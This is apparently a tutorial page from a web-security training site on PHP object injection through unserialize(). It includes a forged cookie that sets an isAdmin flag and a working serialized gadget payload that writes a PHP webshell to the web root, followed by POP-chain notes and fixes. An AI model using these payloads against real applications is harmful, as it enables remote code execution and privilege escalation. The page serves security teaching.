Insecure Deserialization: From Serialized Blob to Remote Code Execution

PHP Object Injection

How PHP object injection works: unserialize() rebuilds objects and fires __wakeup and __destruct, so a forged serialized string reaches a dangerous sink.

Published

PHP object injection is the cleanest introduction to deserialization because the format is human-readable and you craft the payload by hand. unserialize() on attacker input lets you forge an object of any loaded class, and its magic methods fire automatically. This page covers building that payload. Practice on a free live target.

How unserialize() rebuilds objects

PHP's serialize() produces a length-prefixed text format, and unserialize() rebuilds the object from it. A simple object looks like this:

O:4:"User":2:{s:4:"name";s:3:"bob";s:7:"isAdmin";b:0;}

Read it as: O:4:"User" is an object of the 4-byte class User, with 2 properties, then each property as a name string and a value. s:3:"bob" is a 3-byte string, b:0 is boolean false. Because you control this text, you control the rebuilt object.

The magic methods that fire automatically

Two lifecycle hooks make object injection dangerous:

  • __wakeup() runs during unserialize(), as the object is rebuilt.
  • __destruct() runs when the object is destroyed, usually at the end of the request.

Both fire without the application calling them, so if a class with one of these hooks does something dangerous with its properties, forging that object is enough to trigger it.

Tamper first, then forge a gadget

Start by proving you can change the rebuilt object. If a session cookie holds the User above, flip isAdmin:

O:4:"User":2:{s:4:"name";s:3:"bob";s:7:"isAdmin";b:1;}

If the app trusts the deserialized object, you are now admin. The bigger prize is a gadget. Suppose the app also loads this class:

class Logger {
    public $logfile = 'app.log';
    public $data = '';
    public function __destruct() {
        file_put_contents($this->logfile, $this->data);   // attacker-controlled sink
    }
}

You never instantiate Logger yourself, but you can forge one in the deserialized input, choosing both properties. Write a webshell to the web root:

O:6:"Logger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:4:"data";s:26:"<?php system($_GET[0]); ?>";}

Count the lengths: Logger is 6 bytes, logfile is 7, /var/www/html/shell.php is 23, data is 4, and <?php system($_GET[0]); ?> is 26. When the request ends, PHP destroys the forged object, __destruct() runs, and the webshell lands at /var/www/html/shell.php.

Property-oriented programming (POP) chains

A single gadget is lucky. Usually you chain: one class's magic method calls a method on a property object, which calls another, until the chain reaches a sink. That is property-oriented programming, covered in magic methods and gadget chains. You build the chain by setting a gadget's property to another forged object.

Edge variants

O:6:"Logger":2:{...}            __destruct write-file gadget (above)
__wakeup gadget                 same idea, fires during unserialize() instead of at destruction
private property  \x00Class\x00prop    private names are mangled with null bytes in the serialized string
nested object property          s:4:"next";O:5:"Chain":...   build a POP chain by nesting objects

Private and protected properties serialize with null-byte-mangled names (\x00ClassName\x00prop for private, \x00*\x00prop for protected), which you must reproduce exactly, including those null bytes, in the payload.

Fixing it

  • Never unserialize() untrusted input. Use json_decode() into arrays for client data.
  • If you must, pass allowed_classes to unserialize() to block object instantiation.
  • Integrity-protect serialized data (HMAC, verified before parsing) so a forged blob is rejected.

Full guidance is in preventing insecure deserialization. Next, move to the binary world in Java deserialization, or forge an object on a free lab.

← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution